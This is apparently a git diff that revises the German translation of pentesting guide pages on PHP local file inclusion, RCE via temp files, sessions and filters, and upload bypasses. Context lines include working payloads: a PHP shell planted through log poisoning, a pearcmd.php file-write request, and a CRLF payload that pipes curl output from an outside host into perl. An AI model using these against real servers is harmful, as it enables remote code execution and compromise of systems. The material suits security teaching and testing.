-> Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion**, die eine **Datei** **zugreift**, **steuern**, aber den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**) können, aber der Inhalt nicht angezeigt wird.
+> Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion**, die **auf eine Datei zugreift**, **steuern**, aber den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**) können, aber der Inhalt nicht angezeigt wird.
-In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfad Traversal über PHP-Filter missbraucht werden kann, um den **Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren**.
+In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfad Traversal über den PHP-Filter missbraucht werden kann, um den **Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren**.
-Zusammenfassend verwendet die Technik die **"UCS-4LE"-Kodierung**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP-Funktion**, die die Datei öffnet, einen **Fehler** auslöst.
+Zusammenfassend verwendet die Technik die **"UCS-4LE" Kodierung**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP-Funktion**, die die Datei öffnet, einen **Fehler** auslöst.
Dann wird der Filter **`dechunk`** verwendet, um das erste Zeichen zu leaken, zusammen mit anderen wie **base64** oder **rot13**, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **andere Zeichen am Anfang zu platzieren und sie zu leaken**.
-**Funktionen, die anfällig sein könnten**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel lesen nur mit diesem)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
+**Funktionen, die anfällig sein könnten**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel nur lesend mit diesem)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Für technische Details siehe den genannten Beitrag!
@@ -427,11 +427,11 @@ Wie zuvor erklärt, [**folgen Sie diesem Link**](./#remote-file-inclusion).
Wenn der Apache- oder Nginx-Server **anfällig für LFI** ist, könnten Sie versuchen, auf **`/var/log/apache2/access.log` oder `/var/log/nginx/access.log`** zuzugreifen, indem Sie im **User-Agent** oder in einem **GET-Parameter** eine PHP-Shell wie **``** setzen und diese Datei einfügen.
> [!WARNING]
-> Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für den String "_**quote;**_" geändert werden, **PHP wird dort einen Fehler auslösen** und **nichts anderes wird ausgeführt**.
+> Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für die Zeichenfolge "_**quote;**_" geändert werden, **PHP einen Fehler auslösen wird** und **nichts anderes ausgeführt wird**.
>
> Stellen Sie außerdem sicher, dass Sie die **Payload korrekt schreiben**, da PHP jedes Mal einen Fehler ausgibt, wenn es versucht, die Protokolldatei zu laden, und Sie keine zweite Gelegenheit haben werden.
-Dies könnte auch in anderen Protokollen durchgeführt werden, aber **seien Sie vorsichtig**, der Code in den Protokollen könnte URL-kodiert sein und dies könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Protokollen decodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
+Dies könnte auch in anderen Protokollen durchgeführt werden, aber **seien Sie vorsichtig**, der Code in den Protokollen könnte URL-kodiert sein und dies könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Protokollen dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
Andere mögliche Protokollpfade:
```python
/var/log/apache2/access.log
@@ -476,7 +476,7 @@ Laden Sie eine ZIP-Datei hoch, die eine komprimierte PHP-Shell enthält, und gre
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
-### Über PHP-Sitzungen
+### Via PHP-Sitzungen
Überprüfen Sie, ob die Website PHP-Sitzungen (PHPSESSID) verwendet.
```
@@ -515,7 +515,7 @@ http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=da
NOTE: the payload is ""
```
-### Via php filters (no file needed)
+### Via php-Filter (keine Datei erforderlich)
Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen php-Code** für die Include **generieren können, ohne ihn** in eine Datei schreiben zu müssen.
@@ -523,15 +523,15 @@ Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e27
lfi2rce-via-php-filters.md
{{#endref}}
-### Via segmentation fault
+### Via Segmentierungsfehler
-**Laden Sie** eine Datei hoch, die als **temporär** in `/tmp` gespeichert wird, und lösen Sie dann in der **gleichen Anfrage** einen **Segmentierungsfehler** aus. Die **temporäre Datei wird nicht gelöscht** und Sie können nach ihr suchen.
+**Laden Sie** eine Datei hoch, die als **vorübergehend** in `/tmp` gespeichert wird, und lösen Sie dann in der **gleichen Anfrage** einen **Segmentierungsfehler** aus. Die **vorübergehende Datei wird nicht gelöscht** und Sie können danach danach suchen.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
-### Via Nginx temp file storage
+### Via Nginx-Temporärdateispeicherung
Wenn Sie eine **Local File Inclusion** gefunden haben und **Nginx** vor PHP läuft, könnten Sie mit der folgenden Technik RCE erhalten:
@@ -541,13 +541,13 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
-Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Off` steht. Wenn Sie den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP **die Sitzung für Sie aktivieren**. Sie könnten dies ausnutzen, um RCE zu erhalten:
+Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Off` steht. Wenn Sie den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP die **Sitzung für Sie aktivieren**. Sie könnten dies ausnutzen, um RCE zu erhalten:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
-### Via temp file uploads in Windows
+### Via temporäre Datei-Uploads in Windows
Wenn Sie eine **Local File Inclusion** gefunden haben und der Server unter **Windows** läuft, könnten Sie RCE erhalten:
@@ -555,7 +555,7 @@ Wenn Sie eine **Local File Inclusion** gefunden haben und der Server unter **Win
lfi2rce-via-temp-file-uploads.md
{{#endref}}
-### Via `pearcmd.php` + URL args
+### Via `pearcmd.php` + URL-Argumente
Wie [**in diesem Beitrag erklärt**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), existiert das Skript `/usr/local/lib/phppearcmd.php` standardmäßig in PHP-Docker-Images. Darüber hinaus ist es möglich, Argumente über die URL an das Skript zu übergeben, da angegeben ist, dass, wenn ein URL-Parameter kein `=` hat, er als Argument verwendet werden sollte.
@@ -563,7 +563,7 @@ Die folgende Anfrage erstellt eine Datei in `/tmp/hello.php` mit dem Inhalt `=
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
-Der folgende Missbrauch einer CRLF-Schwachstelle ermöglicht RCE (von [**hier**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
+Der folgende Missbrauch einer CRLF-Sicherheitsanfälligkeit ermöglicht RCE (von [**hier**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md b/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
index 51faea383..9eb71f294 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@@ -1,4 +1,4 @@
-# LFI2RCE über compress.zlib + PHP_STREAM_PREFER_STDIO + Pfadleck
+# LFI2RCE über compress.zlib + PHP_STREAM_PREFER_STDIO + Pfadleckage
{{#include ../../banners/hacktricks-training.md}}
@@ -28,11 +28,11 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
Der Angreifer wird den **Opfer-Server dazu bringen, eine Verbindung herzustellen, um eine Datei vom Server des Angreifers zu lesen** unter Verwendung des **`compress.zlib`** Protokolls.
-**Während** diese **Verbindung** besteht, wird der Angreifer den **Pfad** zur temporären Datei, die erstellt wurde, **exfiltrieren** (sie wird vom Server geleakt).
+**Während** diese **Verbindung** besteht, wird der Angreifer den **Pfad** zur erstellten temporären Datei **exfiltrieren** (er wird vom Server geleakt).
**Während** die **Verbindung** noch offen ist, wird der Angreifer **eine LFI ausnutzen, um die temporäre Datei** zu laden, die er kontrolliert.
-Es gibt jedoch eine Überprüfung im Webserver, die **das Laden von Dateien verhindert, die `` enthalten**. Daher wird der Angreifer eine **Race Condition** ausnutzen. In der Verbindung, die noch offen ist, wird der **Angreifer** die **PHP-Nutzlast NACHDEM** der **Webserver** **überprüft** hat, ob die Datei die verbotenen Zeichen enthält, aber **BEVOR** sie ihren Inhalt lädt.
+Es gibt jedoch eine Überprüfung im Webserver, die **das Laden von Dateien verhindert, die `` enthalten**. Daher wird der Angreifer eine **Race Condition** ausnutzen. In der noch offenen Verbindung wird der **Angreifer** die **PHP-Nutzlast NACHDEM** der **Webserver** **überprüft** hat, ob die Datei die verbotenen Zeichen enthält, aber **BEVOR** sie ihren Inhalt lädt.
Für weitere Informationen siehe die Beschreibung der Race Condition und des CTF in [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
index ff6347bf7..600aaf762 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
@@ -22,7 +22,7 @@ Diese Technik ist **sehr ähnlich der letzten, erfordert jedoch kein Finden eine
### Ewige Warte-Technik
-In dieser Technik **müssen wir nur einen relativen Pfad kontrollieren**. Wenn es uns gelingt, Dateien hochzuladen und die **LFI niemals enden zu lassen**, haben wir "genug Zeit", um **hochgeladene Dateien zu brute-forcen** und **eine** der hochgeladenen zu **finden**.
+In dieser Technik **müssen wir nur einen relativen Pfad kontrollieren**. Wenn es uns gelingt, Dateien hochzuladen und das **LFI niemals enden zu lassen**, haben wir "genug Zeit", um **hochgeladene Dateien zu brute-forcen** und **eine** der hochgeladenen zu **finden**.
**Vorteile dieser Technik**:
@@ -33,17 +33,17 @@ In dieser Technik **müssen wir nur einen relativen Pfad kontrollieren**. Wenn e
Die **Hauptprobleme** dieser Technik sind:
-- Es müssen spezifische Datei(en) vorhanden sein (es könnte mehr geben)
+- Es müssen spezifische Datei(en) vorhanden sein (es könnten mehr sein)
- Die **wahnsinnige** Anzahl potenzieller Dateinamen: **56800235584**
- Wenn der Server **keine Ziffern verwendet**, beträgt die gesamte potenzielle Anzahl: **19770609664**
- Standardmäßig können **nur 20 Dateien** in einer **einzelnen Anfrage** hochgeladen werden.
-- Die **maximale Anzahl paralleler Worker** des verwendeten Servers.
+- Die **maximale Anzahl paralleler Arbeiter** des verwendeten Servers.
- Diese Grenze zusammen mit den vorherigen kann diesen Angriff zu lange dauern lassen
- **Timeout für eine PHP-Anfrage**. Idealerweise sollte dies ewig dauern oder den PHP-Prozess beenden, ohne die temporär hochgeladenen Dateien zu löschen, andernfalls wird dies auch ein Problem sein
Wie können Sie also **eine PHP-Include-Anweisung dazu bringen, niemals zu enden**? Indem Sie einfach die Datei **`/sys/kernel/security/apparmor/revision`** einfügen (**leider nicht in Docker-Containern verfügbar...**).
-Versuchen Sie es einfach, indem Sie anrufen:
+Versuchen Sie es einfach, indem Sie aufrufen:
```bash
php -a # open php cli
include("/sys/kernel/security/apparmor/revision");
@@ -72,11 +72,11 @@ Wenn der Apache-Server verbessert wird und wir **4000 Verbindungen** missbrauche
Wenn anstelle des regulären PHP-Moduls für Apache, um PHP-Skripte auszuführen, die **Webseite** **PHP-FMP verwendet** (dies verbessert die Effizienz der Webseite, daher ist es üblich, es zu finden), gibt es noch etwas, das getan werden kann, um die Technik zu verbessern.
PHP-FMP ermöglicht es, den **Parameter** **`request_terminate_timeout`** in **`/etc/php//fpm/pool.d/www.conf`** zu **konfigurieren**.\
-Dieser Parameter gibt die maximale Anzahl von Sekunden an, **wann** **die Anfrage an PHP beendet werden muss** (standardmäßig unendlich, aber **30s, wenn der Parameter nicht auskommentiert ist**). Wenn eine Anfrage von PHP verarbeitet wird, wird die angegebene Anzahl von Sekunden **abgebrochen**. Das bedeutet, dass, wenn die Anfrage temporäre Dateien hochlädt, weil die **PHP-Verarbeitung gestoppt wurde**, diese **Dateien nicht gelöscht werden**. Daher, wenn Sie eine Anfrage so lange aufrechterhalten können, können Sie **tausende von temporären Dateien** generieren, die nicht gelöscht werden, was den Prozess der Auffindung beschleunigt und die Wahrscheinlichkeit eines DoS für die Plattform verringert, indem alle Verbindungen verbraucht werden.
+Dieser Parameter gibt die maximale Anzahl von Sekunden an, **wann** **die Anfrage an PHP beendet werden muss** (standardmäßig unendlich, aber **30s, wenn der Parameter nicht auskommentiert ist**). Wenn eine Anfrage von PHP verarbeitet wird, wird die angegebene Anzahl von Sekunden **getötet**. Das bedeutet, dass, wenn die Anfrage temporäre Dateien hochlädt, weil die **PHP-Verarbeitung gestoppt wurde**, diese **Dateien nicht gelöscht werden**. Daher, wenn Sie eine Anfrage so lange aufrechterhalten können, können Sie **tausende von temporären Dateien** generieren, die nicht gelöscht werden, was den Prozess der Auffindung beschleunigt und die Wahrscheinlichkeit eines DoS für die Plattform verringert, indem alle Verbindungen verbraucht werden.
Um also **DoS zu vermeiden**, nehmen wir an, dass ein **Angreifer nur 100 Verbindungen** gleichzeitig verwenden wird und die maximale Verarbeitungszeit von PHP durch **php-fmp** (`request_terminate_timeout`**)** **30s** beträgt. Daher beträgt die Anzahl der **temporären Dateien**, die **pro Sekunde** generiert werden können, `100*20/30 = 66.67`.
-Um **10000 Dateien** zu generieren, würde ein Angreifer benötigen: **`10000/66.67 = 150s`** (um **100000 Dateien** zu generieren, würde die Zeit **25min** betragen).
+Um dann **10000 Dateien** zu generieren, müsste ein Angreifer: **`10000/66.67 = 150s`** (um **100000 Dateien** zu generieren, würde die Zeit **25min** betragen).
Dann könnte der Angreifer diese **100 Verbindungen** verwenden, um eine **Brute-Force-Suche** durchzuführen. \*\*\*\* Bei einer Geschwindigkeit von 300 req/s beträgt die benötigte Zeit für die Ausnutzung Folgendes:
@@ -88,7 +88,7 @@ Ja, es ist möglich, 100000 temporäre Dateien in einer EC2-Medium-Instanz zu ge
> [!WARNING]
-> Beachten Sie, dass es **ausreichend wäre, die anfällige LFI-Seite einzuschließen**, um den Timeout auszulösen, sodass sie in eine ewige Einschluss-Schleife eintritt.
+> Beachten Sie, dass es **ausreichend wäre, die anfällige LFI-Seite einzuschließen**, um den Timeout auszulösen, sodass sie in eine ewige Einschleifung eintritt.
## Nginx
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
index 0a453d149..051eb3cd7 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
@@ -17,12 +17,12 @@ Die Schleife zur Generierung beliebiger Inhalte ist:
1. Fügen Sie `\x1b$)C` wie oben beschrieben an unsere Zeichenfolge an
2. Wenden Sie eine Kette von iconv-Konvertierungen an, die unser ursprüngliches Base64 intakt lässt und den Teil, den wir gerade hinzugefügt haben, in eine Zeichenfolge konvertiert, bei der das einzige gültige Base64-Zeichen der nächste Teil unseres base64-kodierten PHP-Codes ist
-3. Base64-dekodieren und base64-enkodieren Sie die Zeichenfolge, was alle Müllzeichen dazwischen entfernt
+3. Base64-dekodieren und base64-enkodieren der Zeichenfolge, was alle Müllzeichen dazwischen entfernt
4. Gehen Sie zurück zu 1, wenn das Base64, das wir konstruieren möchten, noch nicht fertig ist
5. Base64-dekodieren, um unseren PHP-Code zu erhalten
> [!WARNING]
-> **Includes** tun normalerweise Dinge wie **".php" am Ende** der Datei anzuhängen, was die Ausnutzung erschweren könnte, da Sie eine .php-Datei mit einem Inhalt finden müssten, der die Ausnutzung nicht killt... oder Sie **könnten einfach `php://temp` als Ressource verwenden**, da es **alles im Namen angehängt haben kann** (z. B. +".php") und es wird immer noch ermöglichen, dass die Ausnutzung funktioniert!
+> **Includes** tun normalerweise Dinge wie **".php" am Ende** der Datei anzuhängen, was die Ausnutzung erschweren könnte, da Sie eine .php-Datei mit einem Inhalt finden müssten, der den Exploit nicht killt... oder Sie **könnten einfach `php://temp` als Ressource verwenden**, da es **alles im Namen angehängt haben kann** (z. B. +".php") und es wird immer noch ermöglichen, dass der Exploit funktioniert!
## Wie man auch Suffixe zu den resultierenden Daten hinzufügt
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
index c008bd68b..0acbfd8ef 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
@@ -22,7 +22,7 @@ Wenn du eine LFI-Schwachstelle im Webserver gefunden hast, kannst du versuchen,
In **Windows** werden die Dateien normalerweise in **C:\Windows\temp\php** gespeichert.
-In **Linux** ist der Name der Datei normalerweise **zufällig** und befindet sich in **/tmp**. Da der Name zufällig ist, ist es notwendig, **den Namen der temporären Datei irgendwo zu extrahieren** und darauf zuzugreifen, bevor sie gelöscht wird. Dies kann erreicht werden, indem der Wert der **Variable $\_FILES** im Inhalt der Funktion "**phpconfig()**" gelesen wird.
+In **Linux** ist der Name der Datei **zufällig** und befindet sich in **/tmp**. Da der Name zufällig ist, muss der **Name der temporären Datei irgendwo extrahiert** und darauf zugegriffen werden, bevor sie gelöscht wird. Dies kann erreicht werden, indem der Wert der **Variable $\_FILES** im Inhalt der Funktion "**phpconfig()**" gelesen wird.
**phpinfo()**
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md b/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
index 4fbafacb5..6feed80dd 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
@@ -12,7 +12,7 @@ include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAA
```
Sie sollten wissen, dass wenn Sie eine **POST**-Anfrage **mit** einer **Datei** **senden**, PHP eine **temporäre Datei in `/tmp/php`** mit dem Inhalt dieser Datei erstellt. Diese Datei wird **automatisch gelöscht**, sobald die Anfrage verarbeitet wurde.
-Wenn Sie eine **LFI** finden und es Ihnen gelingt, einen Segmentierungsfehler in PHP zu **auszulösen**, wird die **temporäre Datei niemals gelöscht**. Daher können Sie mit der **LFI**-Schwachstelle danach **suchen**, bis Sie sie finden und beliebigen Code ausführen.
+Wenn Sie eine **LFI** finden und es Ihnen gelingt, einen Segmentierungsfehler in PHP **auszulösen**, wird die **temporäre Datei niemals gelöscht**. Daher können Sie mit der **LFI**-Schwachstelle danach **suchen**, bis Sie sie finden und beliebigen Code ausführen.
Sie können das Docker-Image [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) zum Testen verwenden.
```python
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md
index e6ba77b20..470c078f6 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md
@@ -7,9 +7,9 @@
Wenn eine **PHP**-Engine eine **POST-Anfrage** mit Dateien erhält, die gemäß RFC 1867 formatiert sind, erstellt sie temporäre Dateien, um die hochgeladenen Daten zu speichern. Diese Dateien sind entscheidend für die Handhabung von Datei-Uploads in PHP-Skripten. Die Funktion `move_uploaded_file` muss verwendet werden, um diese temporären Dateien an einen gewünschten Ort zu verschieben, wenn eine dauerhafte Speicherung über die Ausführung des Skripts hinaus erforderlich ist. Nach der Ausführung löscht PHP automatisch alle verbleibenden temporären Dateien.
> [!NOTE]
-> **Sicherheitswarnung: Angreifer, die sich der Position der temporären Dateien bewusst sind, könnten eine Local File Inclusion-Schwachstelle ausnutzen, um Code auszuführen, indem sie während des Uploads auf die Datei zugreifen.**
+> **Sicherheitswarnung: Angreifer, die sich der Position der temporären Dateien bewusst sind, könnten eine Local File Inclusion-Schwachstelle ausnutzen, um Code auszuführen, indem sie auf die Datei während des Uploads zugreifen.**
-Die Herausforderung beim unbefugten Zugriff besteht darin, den Namen der temporären Datei vorherzusagen, der absichtlich randomisiert ist.
+Die Herausforderung für unbefugten Zugriff besteht darin, den Namen der temporären Datei vorherzusagen, der absichtlich randomisiert ist.
#### Ausnutzung auf Windows-Systemen
diff --git a/src/pentesting-web/file-inclusion/phar-deserialization.md b/src/pentesting-web/file-inclusion/phar-deserialization.md
index 88ee80f52..3998b9d13 100644
--- a/src/pentesting-web/file-inclusion/phar-deserialization.md
+++ b/src/pentesting-web/file-inclusion/phar-deserialization.md
@@ -55,7 +55,7 @@ Beachten Sie, wie die **magic bytes von JPG** (`\xff\xd8\xff`) am Anfang der pha
```bash
php --define phar.readonly=0 create_phar.php
```
-Und führen Sie den Befehl `whoami` aus, indem Sie den anfälligen Code mit folgendem missbrauchen:
+Und führen Sie den Befehl `whoami` aus, indem Sie den anfälligen Code mit: missbrauchen
```bash
php vuln.php
```
diff --git a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
index 692e6a068..40549f84f 100644
--- a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
+++ b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
@@ -4,7 +4,7 @@
## Grundlegende Informationen
-Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Aus` steht. Wenn **`session.upload_progress.enabled`** auf **`Ein`** steht und Sie die **`PHP_SESSION_UPLOAD_PROGRESS`** in den **Multipart-POST**-Daten bereitstellen, wird PHP die **Sitzung für Sie aktivieren**.
+Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Aus` steht. Wenn **`session.upload_progress.enabled`** auf **`Ein`** steht und Sie die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP die **Sitzung für Sie aktivieren**.
```bash
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
@@ -21,11 +21,11 @@ In the last example the session will contain the string blahblahblah
Beachten Sie, dass Sie mit **`PHP_SESSION_UPLOAD_PROGRESS`** **Daten innerhalb der Sitzung steuern** können. Wenn Sie Ihre Sitzungsdatei einfügen, können Sie einen Teil einfügen, den Sie kontrollieren (zum Beispiel einen PHP-Shellcode).
> [!NOTE]
-> Obwohl die meisten Tutorials im Internet empfehlen, `session.upload_progress.cleanup` aus Debugging-Gründen auf `Off` zu setzen, ist die Standardeinstellung von `session.upload_progress.cleanup` in PHP weiterhin `On`. Das bedeutet, dass Ihr Upload-Fortschritt in der Sitzung so schnell wie möglich bereinigt wird. Dies führt zu einer **Race Condition**.
+> Obwohl die meisten Tutorials im Internet empfehlen, `session.upload_progress.cleanup` aus Debugging-Gründen auf `Off` zu setzen, ist die Standardeinstellung von `session.upload_progress.cleanup` in PHP weiterhin `On`. Das bedeutet, dass Ihr Upload-Fortschritt in der Sitzung so schnell wie möglich bereinigt wird. Dies wird also **Race Condition** sein.
### Der CTF
-Im [**originalen CTF**](https://blog.orange.tw/2018/10/), in dem diese Technik kommentiert wird, war es nicht genug, die Race Condition auszunutzen, sondern der geladene Inhalt musste auch mit dem String `@AAA.php
@@ -52,7 +52,7 @@ Weitere nützliche Erweiterungen:
```
# Linux maximal 255 Bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und Hinzufügen von .png
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und .png hinzufügen
# Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen sie zulässt. Angenommen 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@@ -62,13 +62,13 @@ AAA<--SNIP 232 A-->AAA.php.png
### Umgehung von Content-Type, Magic Number, Kompression & Größenänderung
-- Umgehung der **Content-Type**-Überprüfungen, indem Sie den **Wert** des **Content-Type** **Headers** auf: _image/png_, _text/plain_, application/octet-stream_ setzen.
+- Umgehung der **Content-Type**-Überprüfungen, indem Sie den **Wert** des **Content-Type**-**Headers** auf: _image/png_, _text/plain_, application/octet-stream setzen.
1. Content-Type **Wortliste**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
-- Umgehung der **Magic Number**-Überprüfung, indem Sie am Anfang der Datei die **Bytes eines echten Bildes** hinzufügen (verwirren Sie den _file_ Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\
+- Umgehung der **Magic Number**-Überprüfung, indem Sie am Anfang der Datei die **Bytes eines echten Bildes** hinzufügen (verwirren Sie den _file_-Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\
`exiftool -Comment="' >> img.png`
-- Wenn **Kompression** zu Ihrem Bild hinzugefügt wird, z.B. mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
+- Wenn **Kompression zu Ihrem Bild hinzugefügt wird**, z.B. mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
